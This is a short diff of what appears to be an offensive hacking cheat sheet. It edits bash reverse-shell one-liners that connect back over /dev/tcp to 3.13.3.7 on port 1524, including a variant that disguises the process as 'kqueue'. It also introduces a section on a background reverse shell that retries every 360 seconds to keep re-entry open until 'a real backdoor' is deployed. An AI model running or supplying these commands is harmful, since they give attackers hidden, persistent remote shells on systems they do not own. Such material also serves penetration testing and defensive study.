 On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:
 ```sh
 # If the current shell is Bash already:
-(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &
+(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

-bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'
+bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
 # or hide the bash process as 'kqueue'
-bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &'

 **6.i. Background reverse shell**
 
 A reverse shell that keeps trying to connect back to us every 360 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected.
